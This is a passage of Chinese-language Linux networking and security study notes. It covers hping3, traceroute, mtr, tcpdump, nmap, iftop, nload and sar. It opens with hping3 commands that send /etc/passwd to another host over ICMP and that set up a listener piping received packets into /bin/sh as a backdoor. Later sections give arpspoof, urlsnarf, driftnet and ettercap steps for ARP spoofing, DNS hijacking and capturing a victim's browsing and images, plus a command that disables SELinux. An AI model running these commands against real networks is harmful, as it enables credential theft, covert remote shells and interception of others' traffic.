将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)# 木马功能
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:
hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p 53 -d 100 --udp --sign siganature --file ./test.cmd
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

traceroute->显示数据包到主机间的路径

安装:

yum install traceroute -y

用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节。

通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。

traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址。

语法

traceroute (选项) (参数)

选项

-n:直接使用IP地址而非主机名称;

-d:使用Socket层级的排错功能;

-f <存活数值>:设置第一个检测数据包的存活数值TTL的大小;

-F:设置勿离断位;

-g <网关>:设置来源路由网关,最多可设置8个;

-i <网络界面>:使用指定的网络界面送出数据包;

-I:使用ICMP回应取代UDP资料信息;

-m <存活数值>:设置检测数据包的最大存活数值TTL的大小;

-p <通信端口>:设置UDP传输协议的通信端口;

-r:忽略普通的Routing Table,直接将数据包送到远端主机上。

-s <来源地址>:设置本地主机送出数据包的IP地址;

-t <服务类型>:设置检测数据包的TOS数值;

-v:详细显示指令的执行过程;

-w <超时秒数>:设置等待远端主机回报的时间;

-x:开启或关闭数据包的正确性检验。

参数

主机:指定目的主机IP地址或主机名。

实例

image-20220623103948029

记录按序列号从1开始,每个纪录就是一跳,每跳表示一个网关,我们看到每行有三个时间,单位是ms,其实就是-q的默认参数。探测数据包向每个网关发送三个数据包后,网关响应后返回的时间;如果用traceroute -q 4 g.cn,表示向每个网关发送4个数据包。

有时我们traceroute一台主机时,会看到有一些行是以星号表示的。出现这样的情况,可能是防火墙封掉了ICMP的返回信息,所以我们得不到什么相关的数据包返回数据。

有时我们在某一网关处延时比较长,有可能是某台网关比较阻塞,也可能是物理设备本身的原因。当然如果某台DNS出现问题时,不能解析主机名、域名时,也会有延时长的现象;您可以加-n参数来避免DNS解析,以IP格式输出数据。

如果在局域网中的不同网段之间,我们可以通过traceroute来排查问题所在是主机的问题还是网关的问题。如果我们通过远程来访问某台服务器遇到问题时,我们用到traceroute 追踪数据包所经过的网关,提交IDC服务商,也有助于解决问题;但目前看来在国内解决这样的问题是比较困难的,就是我们发现问题所在,IDC服务商也不可能帮助我们解决。

# 其它一些实例:
traceroute -m 10 www.baidu.com # 跳数设置->只查看10跳的结果
traceroute -n www.baidu.com    # 显示IP地址,不查主机名
traceroute -p 6888 www.baidu.com  # 探测包使用的基本UDP端口设置6888
traceroute -q 4 www.baidu.com  # 把探测包的个数设置为值4
traceroute -r www.baidu.com    # 绕过正常的路由表,直接发送到网络相连的主机
traceroute -w 3 www.baidu.com  # 把对外发探测包的等待响应时间设置为3秒

mtr-网络分析工具

参考:

https://cloud.tencent.com/developer/article/1332118

https://blog.csdn.net/lucy123_/article/details/93859314

1.mtr简介

​ Mtr是 Linux中有一个非常棒的网络连通性判断工具,它结合了ping, traceroute,nslookup 的相关特性。当网络链路出现问题时很多人会用ping命令,可以简单的测试网络的连通性,看下丢包率,但是却无法确定是在哪里出现了问题;有些人就会用tracert命令来查看路由,或者用nslookup命令来查看DNS是否可用;如果你也觉得这三个命令太麻烦的话,那就用mtr吧。

​ linux下mtr仅是一个简单的命令,使用的时候带上各种参数用起来得心应手。windos下用的话就下载mtr软件就可以了,用起来更简单,直接输入目标ip地址即可。

2.mtr的安装

linux下系统光盘里是自带的,如果没有安装的话直接安装即可

yum install mtr

3.mtr的使用

首先来看一下mtr的帮助信息:

image-20220623104402349

介绍一下mtr常用的几个参数

-v:查看当前版本号;

-n:相当于--no-dns 不解析dns

-r:以报告模式显示,不加-r会动态的显示;

--report:结果显示,并不动态显示

-c:设置每秒发送数据包的数量,默认值是10;

-s:指定ping数据包的大小;

应用:


对北京的dns服务器202.106.0.20发送15个包,不做dns解析,并以报告的形式显示,测试数据如下:


mtr -r -n -c 15 202.106.0.20

image-20220623104458883

输出参数的解释:

Loss% -- 丢包率,单位是"%";

Snt -- sent包的数量

Last -- 最后一个包的延时

Avg -- 所有包的平均延时

Best -- 延时最小的包

Wrst -- 延时最大的包

StDev -- 标准偏差

4.mtr测试结果的查看

第一列:host显示的是IP地址和本机域名,这点和traceroute很像;

第二列:loss%就是对应IP行的丢包率了,需要注意的是:有些丢包是由于icmp的保护机制造成的,并不代表真的丢包;

第三列:snt每秒发送数据包的数量,默认值是10,这里通过参数-c来指定发送15个包;

第四列:Last显示的最近一次的返回时延;

第五列:Avg是平均值 这个应该是发送ping包的平均时延;

第六列:Best是最好或者说时延最短的;

第七列:Wrst是最差或者说时延最常的;

第八列:StDev是标准偏差,统计学名词,一种量度数据分布的分散程度标准,用以衡量数据值偏离算术平均值的程度。标准偏差越小,这些值偏离平均值就越少

接下来的四列Last,Avg,Best和Wrst以毫秒为单位测量所有延迟(ms)。Last是最后发送的数据包的延迟,Avg是所有数据包的平均延迟,而Best并Wrst显示最佳(最短)和最差(最长)往返时间的到该主机的包的时间。在大多数情况下,average(Avg)列应该是您关注的焦点。

最后一列StDev提供了每个主机的延迟标准偏差。标准差越大,延迟测量之间的差异越大。标准偏差允许您评估所提供的平均值(平均值)是否代表数据集的真实中心,或者是否因某种现象或测量误差而偏斜。如果标准偏差很高,则延迟测量值不一致。在对发送的10个数据包的延迟进行平均后,平均值看起来正常但实际上可能不能很好地表示数据。如果标准偏差很高,请查看最佳和最差延迟测量,以确保平均值是实际延迟的良好表示,而不是太大波动的结果。

在大多数情况下,您可能会想到三个主要部分的MTR输出。根据配置,前2或3跳通常代表源主机的ISP,而最后2或3跳代表目标主机的ISP(测试的好像最后一跳是目标节点)。中间的跳数是数据包遍历到达目的地的路由器

13、命令行界面下的浏览器

用yum安装elinks:

运行links www.baidu.com

14、tcpdump:抓包

​ tcpdump采用命令行方式对接口的数据包进行筛选抓取,其丰富特性表现在灵活的表达式上。

不带任何选项的tcpdump,默认会抓取第一个网络接口,且只有将tcpdump进程终止才会停止抓包

安装:

yum -y install tcpdump
# 下面是详细的tcpdump用法。
# tcpdump选项:
tcpdump [ -DenNqvX ] [ -c count ] [ -F file ] [ -i interface ] [ -r file ]
        [ -s snaplen ] [ -w file ] [ expression ]

抓包选项:

-i   表示监听那一个网卡; any代表所有
-s len:设置tcpdump的数据包抓取长度为len,如果不设置默认将会是65535字节。对于要抓取的数据包较大时,长度设置不够可能会产生包截断,若出现包截断,
      :输出行中会出现"[|proto]"的标志(proto实际会显示为协议名)。**但是抓取len越长,包的处理时间越长**,并且会减少tcpdump可缓存的数据包的数量,
      :从而会导致数据包的丢失,所以在能抓取我们想要的包的前提下,抓取长度越小越好
      **-s0  表示截取数据,s0抓整个包**
-n   表示数字显示主机名,不解析主机名
-nn  表示数字显示主机名跟端口号
-X   表示以ASCII码显示内容
-XX  表示以ASCII及16进制码显示内容
-A   表示显示原内容
-r<数据包文件> 从指定的文件读取数据包数据
src  源端口、地址
dst  目标端口、地址
-p:指定协议类型(icmp、tcp、udp、http
-w:表示将抓取的内容保存到某个位置(文件名.cap 这个后缀名的文件可以用Wireshark打开)
-c num:指定抓包个数
-i interface:指定tcpdump需要监听的接口。若未指定该选项,将从系统接口列表中搜寻编号最小的已配置好的接口(不包括loopback接口,要抓取loopback接口使用tcpdump -i lo),一旦找到第一个符合条件的接口,搜寻马上结束。可以使用'any'关键字表示所有网络接口。
-c:指定要抓取的包数量。注意,是最终要获取这么多个包。例如,指定"-c 10"将获取10个包,但可能已经处理了100个包,只不过只有10个包是满足条件的包。
-n:对地址以数字方式显式,否则显式为主机名,也就是说-n选项不做主机名解析。
-nn:除了-n的作用外,还把端口显示为数值,否则显示端口服务名。
-N:不打印出host的域名部分。例如tcpdump将会打印'nic'而不是'nic.ddn.mil'。
-P:指定要抓取的包是流入还是流出的包。可以给定的值为"in""out""inout",默认为"inout"。
-l:是标准输出变为缓冲行形式,可以把数据导出到文件。

输出选项:

-e:输出的每行中都将包括数据链路层头部信息,例如源MAC和目标MAC。
-q:快速打印输出。即打印很少的协议相关信息,从而输出行都比较简短。
-X:输出包的头部数据,会以16进制和ASCII两种方式同时输出。
-XX:输出包的头部数据,会以16进制和ASCII两种方式同时输出,更详细。
-v:当分析和打印的时候,产生详细的输出。
-vv:产生比-v更详细的输出。
-vvv:产生比-vv更详细的输出

其他功能性选项:

-D:列出可用于抓包的接口。将会列出接口的数值编号和接口名,它们都可以用于"-i"后。
-F:从文件中读取抓包的表达式。若使用该选项,则命令行中给定的其他表达式都将失效。
-w:将抓包数据输出到文件中而不是标准输出。可以同时配合"-G time"选项使得输出文件每time秒就自动切换到另一个文件。可通过"-r"选项载入这些文件以进行分析和打印。
-r:从给定的数据包文件中读取数据。使用"-"表示从标准输入中读取。

所以常用的选项也就这几个:

tcpdump -D      #列出可用于抓包的接口
    #tcpdump -D
    1.bluetooth0 (Bluetooth adapter number 0)
    2.nflog (Linux netfilter log (NFLOG) interface)
    3.nfqueue (Linux netfilter queue (NFQUEUE) interface)
    4.usbmon1 (USB bus number 1)
    5.usbmon2 (USB bus number 2)
    6.ens33
    7.any (Pseudo-device that captures on all interfaces)
    8.lo [Loopback]




tcpdump -c num -i int -nn -XX -vvv


eg:
tcpdump -i eth1 -s0 -nn -A tcp dst port 3306 and ip dst host 192.168.1.150

# 例如:抓icmp包
shell> tcpdump -nn -i eth0 icmp

tcpdump表达式:

​ 表达式用于筛选输出哪些类型的数据包,如果没有给定表达式,所有的数据包都将输出,否则只输出表达式为true的包。在表达式中出现的shell元字符建议使用单引号包围。

​ tcpdump的表达式由一个或多个\"单元\"组成,每个单元一般包含ID的修饰符和一个ID(数字或名称)。有三种修饰符:

(1).type:指定ID的类型。

可以给定的值有host/net/port/portrange。例如\"host foo\",\"net 128.3\",\"port 20\",\"portrange 6000-6008\"。默认的type为host。

(2).dir:指定ID的方向。

可以给定的值包括src/dst/src or dst/src and dst,默认为src or dst。例如,\"src foo\"表示源主机为foo的数据包,\"dst net 128.3\"表示目标网络为128.3的数据包,\"src or dst port 22\"表示源或目的端口为22的数据包。

(3).proto:通过给定协议限定匹配的数据包类型。

常用的协议有tcp/udp/arp/ip/ether/icmp等,若未给定协议类型,则匹配所有可能的类型。例如\"tcp port 21\",\"udp portrange 7000-7009\"。

所以,一个基本的表达式单元格式为\"proto dir type ID\"

除了使用修饰符和ID组成的表达式单元,还有关键字表达式单元:gateway,broadcast,less,greater以及算术表达式。

表达式单元之间可以使用操作符\" and / && / or / || / not / !" 进行连接,从而组成复杂的条件表达式。如\"host foo and not port ftp and not port ftp-data\",这表示筛选的数据包要满足\"主机为foo且端口不是ftp(端口21)和ftp-data(端口20)的包\",常用端口和名字的对应关系可在linux系统中的/etc/service文件中找到。

另外,同样的修饰符可省略,如\"tcp dst port ftp or ftp-data or domain\"与\"tcp dst port ftp or tcp dst port ftp-data or tcp dst port domain\"意义相同,都表示包的协议为tcp且目的端口为ftp或ftp-data或domain(端口53)。

使用括号\"()\"可以改变表达式的优先级,但需要注意的是括号会被shell解释,所以应该使用反斜线\"\"转义为\"()\",在需要的时候,还需要包围在引号中

tcpdump示例:

注意,tcpdump只能抓取流经本机的数据包

(1).默认启动
# tcpdump 
默认情况下,直接启动tcpdump将监视第一个网络接口(非lo口)上所有流通的数据包。这样抓取的结果会非常多,滚动非常快

(2).监视指定网络接口的数据包
# tcpdump -i eth1
如果不指定网卡,默认tcpdump只会监视第一个网络接口,如eth0

(3).监视指定主机的数据包,例如所有进入或离开longshuai的数据包
tcpdump host longshuai

(4).打印helios<-->hot或helios<-->ace之间通信的数据包
tcpdump host helios and ( hot or ace )

(5).打印ace与任何其他主机之间通信的IP数据包,但不包括与helios之间的数据包
tcpdump ip host ace and not helios

(6).截获主机hostname发送的所有数据
tcpdump src host hostname

(7).监视所有发送到主机hostname的数据包
tcpdump dst host hostname

(8).监视指定主机和端口的数据包
tcpdump tcp port 22 and host hostname

(9).对本机的udp 123端口进行监视(123为ntp的服务端口)
tcpdump udp port 123

(10).监视指定网络的数据包,如本机与192.168网段通信的数据包,"-c 10"表示只抓取10个包
tcpdump -c 10 net 192.168

(11).打印所有通过网关snup的ftp数据包(注意,表达式被单引号括起来了,这可以防止shell对其中的括号进行错误解析)
shell> tcpdump 'gateway snup and (port ftp or ftp-data)'

(12).抓取ping包
[root@server2 ~]# tcpdump -c 5 -nn -i eth0 icmp 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
08:35:45.772208 IP 172.20.10.2 > 172.20.10.3: ICMP redirect 172.20.10.1 to net 172.20.10.1, length 58
08:35:45.824730 IP 172.20.10.3 > 172.217.24.35: ICMP echo request, id 8168, seq 1, length 64
08:35:45.919827 IP 172.217.24.35 > 172.20.10.3: ICMP echo reply, id 8168, seq 1, length 64
08:35:46.827213 IP 172.20.10.3 > 172.217.24.35: ICMP echo request, id 8168, seq 2, length 64
08:35:46.827741 IP 172.20.10.2 > 172.20.10.3: ICMP redirect 172.217.24.35 to net 172.20.10.1, length 92
5 packets captured
5 packets received by filter
0 packets dropped by kernel

如果明确要抓取主机为192.168.100.70对本机的ping,则使用and操作符。
[root@server2 ~]# tcpdump -c 5 -nn -i eth0 icmp and src 192.168.100.62
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:09:33.208514 IP 192.168.100.70 > 192.168.100.62: ICMP echo request, id 16166, seq 4, length 64
12:09:34.292222 IP 192.168.100.70 > 192.168.100.62: ICMP echo request, id 16166, seq 5, length 64
packets captured
packets received by filter
packets dropped by kernel

注意不能直接写icmp src 192.168.100.70,因为icmp协议不支持直接应用host这个type。



(13).抓取到本机22端口包
[root@server2 ~]# tcpdump -c 10 -nn -i eth0 tcp dst port 22  
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:06:57.574293 IP 192.168.100.1.5788 > 192.168.100.62.22: Flags [.], ack 535528834, win 2053, length 0
12:06:57.629125 IP 192.168.100.1.5788 > 192.168.100.62.22: Flags [.], ack 193, win 2052, length 0
12:06:57.684688 IP 192.168.100.1.5788 > 192.168.100.62.22: Flags [.], ack 385, win 2051, length 0
12:06:58.069361 IP 192.168.100.1.5788 > 192.168.100.62.22: Flags [.], ack 1729, win 2052, length 0
packets captured
packets received by filter
packets dropped by kernel



(14).解析包数据
[root@server2 ~]# tcpdump -c 2 -q -XX -vvv -nn -i eth0 tcp dst port 22
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:15:54.788812 IP (tos 0x0, ttl 64, id 19303, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.100.1.5788 > 192.168.100.62.22: tcp 0
        0x0000:  000c 2908 9234 0050 56c0 0008 0800 4500  ..)..4.PV.....E.
        0x0010:  0028 4b67 4000 4006 a5d8 c0a8 6401 c0a8  .(Kg@.@.....d...
        0x0020:  643e 169c 0016 2426 5fd6 1fec 2b62 5010  d>....$&_...+bP.
        0x0030:  0803 7844 0000 0000 0000 0000            ..xD........
12:15:54.842641 IP (tos 0x0, ttl 64, id 19304, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.100.1.5788 > 192.168.100.62.22: tcp 0
        0x0000:  000c 2908 9234 0050 56c0 0008 0800 4500  ..)..4.PV.....E.
        0x0010:  0028 4b68 4000 4006 a5d7 c0a8 6401 c0a8  .(Kh@.@.....d...
        0x0020:  643e 169c 0016 2426 5fd6 1fec 2d62 5010  d>....$&_...-bP.
        0x0030:  0801 7646 0000 0000 0000 0000            ..vF........
packets captured
packets received by filter
packets dropped by kernel

总的来说,tcpdump对基本的数据包抓取方法还是较简单的。只要掌握有限的几个选项(-nn -XX -vvv -i -c -q),再组合表达式即可
1、tcpdump -i eth0  或者wireshark

img

2[root@test ~]# tcpdump -p icmp -i eth0

img

nc:扫描端口或者两个机器之前的传输,这个命令很强大

nc 用法:nc -v 192.168.217.129 -z 1-2000 (-z:指明端口号的范围,-v:显示详细信息) 详细参考第六章的,文件传输

14、nmap-->网络探测和安全审核工具

nmap命令是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。

Grammar

nmap (Option) (参数)

Option

-T(0-5): Set a timing template 时间模板

The template names are paranoid (0), sneaky (1),polite (2), normal (3), aggressive (4), and insane (5).

偏执(0),偷偷摸摸(1),礼貌(2),正常(3),激进(4)和疯狂(5)。


-A:: Enable OS detection, version detection, script scanning, and traceroute(系统、版本、脚本、路由追踪);

-sT #TCP连接扫描(速度较慢)

-oN 输出到文件

-F 快速扫描

-sP:ping扫描,仅发现目标主机是否存活;

-PT:是同TCP的ping;

-PU:发送udp ping;

-sV:探测服务版本信息;

-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用"-"表示端口范围;

-O:激活操作探测;

-P0:值进行扫描,不ping主机;

-ps:发送同步(SYN)报文;

-PE:强制执行直接的ICMPping;

-PB:默认模式,可以使用ICMPping和TCPping;

-6:使用IPv6地址;

-v:得到更多Option信息;

-d:增加调试信息地输出;

-oN:以人们可阅读的格式输出;

-oX:以xml格式向指定文件输出信息;

-oM:以机器可阅读的格式输出;

--resume:继续上次执行完的扫描;

-e:在多网络接口Linux系统中,指定扫描使用的网络接口;

-g:将指定的端口作为源端口进行扫描;

--ttl:指定发送的扫描报文的生存期;

--packet-trace:显示扫描过程中收发报文统计;

--scanflags:设置在扫描报文中的TCP标志。

常用的扫描类型如下

-sS:TCP SYN扫描(半开扫描),只向目标发送SYN数据包,如果收到SYN/ACK响应就认为目标正在监听,并立即断开连接;否则就认为目标端口未开放

-sT:TCP 连接扫描,完整的TCP扫描方式,如果成功连接就认为目标端口正在监听;否则就认为目标端口未开放

-sF:TCP FIN扫描,开放的端口会忽略,关闭的端口会回应RST数据包。这种方式扫描可间接检测防火墙的健壮性

-sU:UDP扫描,探测目标主机提供哪些UDP服务,UDP扫描会比较慢

-sP:ICMP扫描,快速判断目标主机是否存活,不做其他扫描

-s0:跳过ping检测,当对方不响应ICMP请求时,使用这种方式可避免因无法ping通而放弃扫描

参数

ip地址:指定待扫描报文中的TCP地址。

Living Example

# 安装nmap
yum install nmap

nmap -sT ip 开启了服务

img

nmap -sU ip 开启Udp服务

img

nmap -sP ip 查看这个服务器当前网段有哪些机器运行的
nmap -A -T5 www.baidu.com   查看这个网页的基本信息 
nmap -sV ip 运行软件版本
nmap -O ip  操作系统版本 (不准确)
nmap -O --osscan-guess  ip (让系统帮忙猜测一下系统版本)

15、SElinux操作:工作中一般都是关闭这个程序

查看SELinux信息:sestatus

关闭后:

image-20220623131853231

开启前:

image-20220623131900406

image-20220623131908270

getenforce:看当前是是什么模式

image-20220623131933613

setenfore 0:临时修改

image-20220623131940206

0表示临时修改为permissive;1表示临时修改为enforcing

配置文件/etc/selinux/config(修改后永久生效)

查看文件的selinux的信息:ls -lZ 文件名

image-20220623131958065

# 或者用sed进行修改配置文件:
setenforce 0
sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config

16、ARP欺骗

https://pan.baidu.com/s/19sYXOSOdkSsV434PxpX6lw b1f2

1、vim /proc/sys/net/ipv4/ip_forward
开启IP转发:echo 1 >/proc/sys/net/ipv4/ip_forward (开启转发功能,目的,是对方可以继续上网)

2、nmap –sP 192.168.2.0/24           (扫面这个网段的地址)
Nmap scan report for 192.168.2.220
Host is up (0.033s latency).
MAC Address: 00:0C:29:5E:74:7A (VMware)

3、可以深度扫描这个IP地址

image-20220623132139752(深度扫描)

4[root@SAMBA ~]# arpspoof -i eth0 -t 192.168.2.220 192.168.2.1
192.168.2.220表示攻击的IP地址
192.168.2.1表示网关

5[root@SAMBA ~]# arpspoof -i eth0 -t 192.168.2.1 192.168.2.200

6[root@SAMBA ~]# urlsnarf -i eth0  (查看它浏览的什么网页)

7[root@SAMBA ~]# driftent -i eth0  (打开监听窗口,到了这一步这一步,可以截获对方浏览的图片数据流)
创建一个保存图片的临时目录

image-20220623132214982

一边输入命令开始捕获流量并且将其转换为图片

image-20220623132238756

一边开始嗅探流量包 如果没有就这么安装:apt-get install ettercap

先完全卸载ettercap, apt-get autoremove ettercap –purge

8、开始嗅探

image-20220623132300949

17、Ettercap-DNS劫持

1.DNS欺骗的基本原理

DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。

2.开启apache2服务

image-20220623132407397

3.编辑配置文件

image-20220623132425501

在配置文件中增加这样一条数据 

image-20220623132455048

**4.在终端中输入命令,开始DNS劫持 **

image-20220623132503667

5.打开测试机,访问域名以.com结束的网站

image-20220623132511109

打开的是攻击者的本地网页

image-20220623132523447

18、ettercap执行渗透测试

  • 确认已安装ettercap,输入:ettercap -v ,若显示版本信息,则说明已安装。

image-20220623132609920

  • 打开图像化界面,输入:ettercap -G

image-20220623132638149

  • 选择嗅探模式:Unifiedsniffing,设置好要嗅探的网卡(一般都是eth0),点击确定,开始嗅探。

image-20220623132724424

image-20220623132729057

image-20220623132733962

  • 列出局域网内的所有存活主机,依次点击Hosts---Hosts list。此处列出了我家局域网内的所有存活主机(不包括虚拟机本身),包括:路由器、Windows宿主机、一台笔记本和一部手机。

image-20220623132806442

image-20220623132819349

  • 开启中间人监听模式,将要监听的两端分别添加到Target1、Target2,然后依次点击mitm --- arp posoning ,勾选sniff remote connections(嗅探并保持原连接状态)

image-20220623132855841

image-20220623132901011

image-20220623132906429

  • 查看被监听主机之间的所有连接信息,依次点击View---Connections

image-20220623133005836

image-20220623133012756

  • 利用ettercap+driftnet截获目标主机的图片数据流。打开一个终端,输入:ettercap -i eth0 -Tq -M arp:remote //192.168.0.102// //192.168.0.1//,开启中间人监听;再打开一个终端,输入:driftnet -i eth0,显示截获的图片。

image-20220623133110495

image-20220623133115949

image-20220623133121107

安全攻防(值得學習)

参考:

https://www.infvie.com/category/dafety-attack-defense

https://www.lixh.cn/archives/2404.html

https://www.lixh.cn/archives/tag/kali

iftop-->监听所选择网络接口的流量

官方网站:http://www.ex-parrot.com/~pdw/iftop/

三方参考:https://www.vpser.net/manage/iftop.html

iftop 类似于 top,但它主要不是检查 cpu的使用率而是监听所选择网络接口的流量,并以表格的形式显示当前的使用量。像"为什么我的网速这么慢呢?!"这样的问题它可以直接回答。

安装方法1、编译安装

如果采用编译安装可以到iftop官网下载最新的源码包。

安装前需要已经安装好基本的编译所需的环境,比如make、gcc、autoconf等。安装iftop还需要安装libpcap和libcurses。

CentOS上安装所需依赖包:

yum install flex byacc libpcap ncurses ncurses-devel libpcap-devel

Debian上安装所需依赖包:

apt-get install flex byacc libpcap0.8 libncurses5

下载iftop

wget http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz

tar zxvf iftop-0.17.tar.gz

cd iftop-0.17

./configure

make && make install

安装方法2:(懒人办法,最简单)基于epel源

直接省略上面的步骤按 https://www.vpser.net/manage/centos-rhel-linux-third-party-source-epel.html 这个教程安装好EPEL,直接yum install iftop

Debian系统 运行:apt-get install iftop

iftop使用参数说明:

    -i  设定监测的网卡,如:# iftop -i eth1
    -B   以bytes为单位显示流量(默认是bits),如:# iftop -B
    -n  使host信息默认直接都显示IP,解析本身就会带来额外的网络流量;如:# iftop -n
    -N  使端口信息默认直接都显示端口号,如: # iftop -N
    -F  显示特定网段的进出流量,如# iftop -F 10.10.1.0/24或# iftop -F 10.10.1.0/255.255.255.0
    -h  (display this message),帮助,显示参数信息
    -p  使用这个参数后,中间的列表显示的本地主机信息,出现了本机以外的IP信息;
    -b  使流量图形条,默认就显示;
    -f  过滤计算包用的;
    -P  使host信息及端口信息,默认就都显示;
    -m  设置界面最上边的刻度的最大值,刻度分五个大段显示,例:# iftop -m 100M

image-20220623133342955

进入iftop画面后的一些操作命令(注意大小写)

    按h切换是否显示帮助;
    按n切换显示本机的IP或主机名;
    按s切换是否显示本机的host信息;
    按d切换是否显示远端目标主机的host信息;
    按t切换显示格式为2行/1行/只显示发送流量/只显示接收流量;
    按N切换显示端口号或端口服务名称;
    按S切换是否显示本机的端口信息;
    按D切换是否显示远端目标主机的端口信息;
    按p切换是否显示端口信息;
    按P切换暂停/继续显示;
    按b切换是否显示平均流量图形条;
    按B切换计算2秒或10秒或40秒内的平均流量;
    按T切换是否显示每个连接的总流量;
    按l打开屏幕过滤功能,输入要过滤的字符,比如ip,按回车后,屏幕就只显示这个IP相关的流量信息;
    按L切换显示画面上边的刻度;刻度不同,流量图形条会有变化;
    按j或按k可以向上或向下滚动屏幕显示的连接记录;
    按1或2或3可以根据右侧显示的三列流量数据进行排序;
    按<根据左边的本机名或IP排序;
    按>根据远端目标主机的主机名或IP排序;
    按o切换是否固定只显示当前的连接;
    按f可以编辑过滤代码,这是翻译过来的说法,我还没用过这个!
    按!可以使用shell命令,这个没用过!没搞明白啥命令在这好用呢!
    按q退出监控
使用iftop监控网卡实时流量
    1.监控某网卡
        iftop -i eth0 -n

    2.监控某网卡并同时显示是什么服务.
        iftop -i eth0 -n -P

    3、直接键入iftop

image-20220623133431106

其中,相关参数解释如下:

1.界面上面显示的是类似刻度尺的刻度范围,为显示流量图形的长条作标尺用的。
2.中间的 <=  => 这两个左右箭头,表示的是流量的方向。
3.TX:发送流量
4.RX:接收流量
5.TOTAL:总流量
6.Cum:运行iftop到目前时间的总流量
7.peak:流量峰值
8.rates:分别表示过去 2s 10s 40s 的平均流量

nload工具

nload用于实时查看网卡流量,默认系统都没有安装,首先安装方式如下:

$ yum install -y epel-release
$ yum install -y nload

使用也非常简单,如下:直接在命令行键入nload

$ nload
Device eth0 [192.168.0.110] (4/5):      # 這裡說明有5張網卡,按enter可切換
=========================================================
Incoming:                       # Incoming:进来的流量
            Curr: 5.21 kBit/s      # Curr:当前的流量值
            Avg: 4.09 kBit/s       # Avg:平均值的流量值
            Min: 1.59 kBit/s       # Min:最小的流量值
            Max: 12.51 kBit/s      # Max:最大的流量值
            Ttl: 4.16 GByte        # Ttl:总的流量值
Outgoing:                        # Outgoing:出去的流量  
            Curr: 16.48 kBit/s     
            Avg: 14.38 kBit/s
            Min: 6.73 kBit/s       
            Max: 28.39 kBit/s


nload 命令一旦执行就会开始监控网络设备,你可以使用下列快捷键操控 nload 应用程序。
1.你可以按键盘上的   或者 Enter/Tab 键在设备间切换。
2.按 F2 显示选项窗口。

image-20220623133520458

3.按 F5 将当前设置保存到用户配置文件。
4.按 F6 从配置文件重新加载设置。
5.按 q 或者 Ctrl+C 退出 nload

默认每 100 毫秒刷新一次显示数值,下面的例子将时间间隔设置成 500 毫秒:
$ nload -t {interval_number_in_millisec}
$ nload -t 500

$ nload -u h|H|b|B|k|K|m|M|g|G
$ nload -U h|H|b|B|k|K|m|M|g|G
$ nload -u h
$ nload -u G
$ nload -U G

释义:
1、小写选项 -u: h 意为自动格式化为人类易读的单位,b 意为 Bit/s,k 意为 kBit/s,m 意为 MBit/s,g 意为 GBit/s。大写字母意为使用 Byte 替代 Bit。默认为 k。
2、大写选项 -U 与小写选项 -u 非常相似,不同之处在于它展示的是数据量,比如 Bit, kByte, GBit 等等。(没有 "/s")。默认值是 M

sar命令

参考:https://mp.weixin.qq.com/s/HI0OtLAJ6Vq11RdvTxpRWw?

sar命令包含在sysstat工具包中,提供系统的众多统计数据。其在不同的系统上命令有些差异,某些系统提供的sar支持基于网络接口的数据统计,也可以查看设备上每秒收发包的个数和流量

# DEV显示网络接口信息
# 命令后面1 2 意思是:每一秒钟取1次值,取2次
$  sar -n DEV  1 2

image-20220623135614548

另外,-n 参数很有用,他有6个不同的开关:DEV | EDEV | NFS | NFSD | SOCK | ALL ,其代表的含义如下:
DEV显示网络接口信息。EDEV显示关于网络错误的统计数据。NFS统计活动的NFS客户端的信息。NFSD统计NFS服务器的信息 SOCK显示套接字信息 ALL显示所有5个开关

参数说明:

•IFACE:LAN接口(網卡接口)

•rxpck/s:每秒钟接收的数据包

•txpck/s:每秒钟发送的数据包

•rxbyt/s:每秒钟接收的字节数

•txbyt/s:每秒钟发送的字节数

•rxcmp/s:每秒钟接收的压缩数据包

•txcmp/s:每秒钟发送的压缩数据包

•rxmcst/s:每秒钟接收的多播数据包

•rxerr/s:每秒钟接收的坏数据包

•txerr/s:每秒钟发送的坏数据包

•coll/s:每秒冲突数

•rxdrop/s:因为缓冲充满,每秒钟丢弃的已接收数据包数

•txdrop/s:因为缓冲充满,每秒钟丢弃的已发送数据包数

•txcarr/s:发送数据包时,每秒载波错误数

•rxfram/s:每秒接收数据包的帧对齐错误数

•rxfifo/s:接收的数据包每秒FIFO过速的错误数

•txfifo/s:发送的数据包每秒FIFO过速的错误数

文件上传漏洞

owasp

Living Example:网络故障排除

1、看ip     
2、ping 网关  (内网能否接通)
3、ping外网的ip (220.181.112.244)  #(网关到外网是否联通)
